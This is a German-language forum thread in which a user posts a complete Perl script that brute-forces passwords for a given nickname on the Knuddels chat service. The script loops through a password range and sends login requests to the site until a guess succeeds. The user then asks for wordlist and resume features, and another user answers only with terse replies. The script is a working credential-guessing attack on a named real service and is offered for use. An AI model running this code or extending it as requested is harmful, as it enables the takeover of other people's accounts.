Perl Expl0it Frage ...

[MasterPawel]

Ehhhm, jeder kennt scheiß Knuddels, oda? ^^
Ich habe einen BruteForce für Knuddels bekommen. (Perl Datei)

#!/usr/bin/perl -w

use LWP::UserAgent;
use HTTP::Response;

print "
 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 >>       www.cnuddelz-dlz.dl.am       <<
 >> Knuddels Bruteforcer - by Ic3Demon <<
 >>   Cracked by cnuddelz-dlz.dl.am    <<
 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

 * * * ! ! ! Cracked Version ! ! ! * * *
\n";

if($#ARGV < 2)
{
        print "Usage: Bruter.pl [Nickname] z.B  aaaa00 ZZZZZZZZZ99\n";
        exit;
}

$us = $ARGV[0];
$w1 = $ARGV[1];
$w2 = $ARGV[2];

print "Der Knuddels Bruter brutet gerade die Passwörter!\n";
print "Besuch uns doch sollange auf www.cnuddelz-dlz.dl.am !\n";

 for($w1..$w2)
  {

   my $ua = LWP::UserAgent->new;
   my $request = new HTTP::Request('POST', 'http://forum.knuddels.de/start_page.php');
   $request->content('Cat=&from=&Loginname='.$us.'&Loginpass='.$_.'&firstlogin=1&buttlogin=Login');
   $request->content_type('application/x-www-form-urlencoded');
   my $response = $ua->request($request);
   my $body     = $response->content;

    if ($body!~/Falsches Passwort/) {
     print "\nFertig! Das Password leutet; ".$_;
     print "\n\n\n";
     exit;
    }
  }

print "Entschuldigung! Kein treffendes Password gefunden!\n"";
print "Besuch uns doch trotzdem auf www.cnuddelz-dlz.dl.am !\n";

Nun wollte ich die Perl Profi's fragen, ob ich irgendwie eine Passwortlist auswählen kann & wenn die verbindung kurz ausgeht, an der angehaltenen stelle später weitermachen?!

[Nemo.A]

Ja kannst du.

[MasterPawel]

Ich meinte eher ob jemand diesen expl0it bearbeiten könnte ^^

[Nemo.A]

Ja könnte jemand machen.